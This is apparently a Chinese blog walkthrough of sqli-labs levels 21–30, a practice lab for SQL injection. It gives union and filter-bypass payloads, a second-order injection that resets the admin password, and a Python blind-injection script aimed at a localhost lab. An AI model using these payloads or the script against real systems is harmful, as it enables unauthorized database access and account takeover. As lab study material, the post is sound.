sqli-labs 21 - 30关

sqli-labs 21 - 30关

less21

登陆后
在这里插入图片描述

cookie的uname值是base64加密
在这里插入图片描述

试了几次,格式是’)
在这里插入图片描述

依旧是3列
在这里插入图片描述

剩下的跟上题一样
在这里插入图片描述
在这里插入图片描述

less22

跟上一题一样,格式是"
在这里插入图片描述

less23

又回到get了
在这里插入图片描述

闭合是’
在这里插入图片描述

直接注释好像有什么问题(应该是被过滤了
在这里插入图片描述

语句可能是类似id=’$id’ limit 0,1?(好像真的是

这样是可以的
在这里插入图片描述

但是不能1' order by 4 and '1'='1(还是上图那个返回
在这里插入图片描述

在MySQL的执行顺序中,whereorder by前,第二个查询的时候可能忽略了order by?

and是操作符,用于where子句。

SELECT * FROM table_name WHERE id='0' union select 2,3,4 or '1'='1' LIMIT 0,1

or会作为联合查询第二个语句的条件,而不是第一个语句where的条件。(and也行

?id=0' union select 1 or '1'='1
在这里插入图片描述

到4的时候正常,一共三列

应该是只显示第二个
在这里插入图片描述

把第二个替换成想查询的就行
在这里插入图片描述

less24(二次注入

可以注册、登入、改密码

大概对应这三个
在这里插入图片描述

输入都有被转义(不是删除

只有改密码的时候,username是直接从session得到的
在这里插入图片描述

1590660919589.png1590660932033.png

。。。不会了,去搜吧

若当前用户名中含有注释,便可以修改当前用户名中包含的另一用户的密码。

需要二次注入

二次注入也称为存储型注入,就是将可能导致 SQL 注入的字符先存入到数据库中,当再次调用这个恶意构造的字符时,就可以触发 SQL 注入。

二次注入的一般过程

  1. 通过构造数据的形式,在浏览器或者其他软件中提交 HTTP 数据报文请求到服务端进行处理,提交的数据报文请求中可能包含了构造的 SQL 语句或者命令。
  2. 服务端应用程序会将提交的数据信息进行存储,通常是保存在数据库中,保存的数据信息的主要作用是为应用程序执行其他功能提供原始输入数据并对客户端请求做出响应。
  3. 向服务端发送第二个与第一次不相同的请求数据信息。
  4. 服务端接收到提交的第二个请求信息后,为了处理该请求,服务端会查询数据库中已经存储的数据信息并处理,从而导致在第一次请求中构造的 SQL 语句或者命令在服务端环境中执行。
  5. 服务端返回执行的处理结果数据信息,便可以通过返回的结果数据信息判断二次注入漏洞利用是否成功。

1.确定注入逻辑

注入点在修改密码处:

UPDATE users SET PASSWORD='$pass' WHERE username='$username' and password='$curr_pass'

变为

UPDATE users SET PASSWORD='$pass' WHERE username='$username'# and password='$curr_pass'

2.注册构造的用户名
在这里插入图片描述

注册的admin’#
在这里插入图片描述

确实没被过滤

然后就可以用admin’#在未知admin原密码的情况下修改admin的密码了

UPDATE users SET PASSWORD='$pass' WHERE username='admin'#' and password='$curr_pass'

1590662178979.png在这里插入图片描述

然后就结束了。。。

less25

get,好像把or和and过滤了?
在这里插入图片描述

闭合是’
在这里插入图片描述在这里插入图片描述

可以双写绕过
在这里插入图片描述

依旧是第二个
在这里插入图片描述

less25a我没有

less26

底下有提示你输入的被过滤后的结果
在这里插入图片描述

空格可用%a0绕过,and可以双写绕过
在这里插入图片描述

(一些其他的空格替代

  • %09 TAB 键(水平)
  • %0a 新建一行
  • %0b TAB 键(垂直)
  • %0c 新的一页
  • %0d return 功能
  • %a0 空格

less26a

',错误无回显

还有这个讲法啊。。
在这里插入图片描述

改了之前第八题的脚本(附加url和搜索语句

import sys
import requests

def getPayload(char_index, ascii):
    # 附加url
    start_str = "1'anandd"
    end_str = "oorr'1'='"

    #select_str = "select%a0group_concat(schema_name)%a0from%a0infoorrmation_schema.schemata"
    select_str = "select%a0group_concat(table_name)%a0from%a0infoorrmation_schema.tables%a0where%a0table_schema=database()"
    #select_str = "select%a0group_concat(column_name)%a0from%a0infoorrmation_schema.columns%a0where%a0table_name='emails'"

    #内容
    database_name = "security"
    table_name = "users"
    column_name = ["id","username","passwoorrd"]
    #where_str = "where(table_schema='"+database_name+"'%26%26table_name='"+table_name+"')"
    #select_str = "select(group_concat(concat_ws('@',"+column_name[0]+","+column_name[1]+","+column_name[2]+")))from("+table_name+")"

    # 连接payload
    sqli_str = "(ascii(mid(("+select_str+"),"+str(char_index)+",1))>"+str(ascii)+")"
    payload = start_str + sqli_str + end_str
    return payload

def execute(char_index, ascii):
    # 连接url
    url = "http://127.0.0.1/sqli-labs-php7-master/Less-26a/?id="
    exec_url = url + getPayload(char_index, ascii)
    #print(exec_url)
    # 检查回显
    echo = "Your Login name"
    content = requests.get(exec_url).text
    if echo in content:
        return True
    else:
        return False

def dichotomy(char_index, left, right):
    while left < right:
        # 二分法
        ascii = int((left+right)/2)
        if execute(str(char_index+1), str(ascii)):
            left = ascii
        else:
            right = ascii
        # 结束二分
        if left == right-1:
            if execute(str(char_index+1), str(ascii)):
                ascii += 1
                break
            else:
                break
    return chr(ascii)

if __name__ == "__main__":
    for len in range(1024): # 查询结果的长度
        char = dichotomy(len, 30, 126) 
        if ord(char) == 31: # 单条查询结果已被遍历
            break
        sys.stdout.write(char)
        sys.stdout.flush()
    sys.stdout.write("\r\n")
    sys.stdout.flush()

less27

过滤union、select

还是可以双写绕过。。
在这里插入图片描述

less27a

闭合是"。

?id=0%22uunionnion%a0selselselectectect%a02,3,4%a0and%221%22=%221

select好像过滤了两次
在这里插入图片描述

改下26a的脚本就行。。。and、or双写去了,select改三写,payload = (start_str + sqli_str + end_str).replace("'",'"')

less28

'闭合,没有错误回显,依旧过滤了空格

试了好久才发现是有小括号的。。。

判断小括号方法:

  1. 2'and'1'='1
  • 若查询语句为where id='$id',查询时是where id='2'&&'1'='1',结果是where id='2',回显会是id=2
  • 若查询语句为where id=('$id'),查询时是where id=('2'&&'1'='1'),MySQL 将'2'作为了 Bool 值,结果是where id=('1'),回显会是id=1
  1. 1')||'1'=('1
    若查询语句有小括号正确回显,若无小括号错误回显(无回显)。

但是我这里怎么没过滤union和select。。?

?id=0')union%a0select%a02,database(),4%a0and('1'='1
在这里插入图片描述

(搜了下,有过滤的好像双写就行了

less28a

还是’)闭合

。。。怎么都和上一题一样。。。我怀疑我题目有问题。。。
在这里插入图片描述
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-e1LhCXPB-1590683023681)(sqli-labs 21 - 30关.assets/1590675978511.png)]

less29

单引号注入,似乎会编码
在这里插入图片描述

–+可以注释,#不行

好像没有其他过滤了?
在这里插入图片描述

???出大问题,之后的题是要配置的

https://www.cnblogs.com/heiwa-0924/p/12369438.html

没成功,还把mysql搞崩了,还重新下了

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值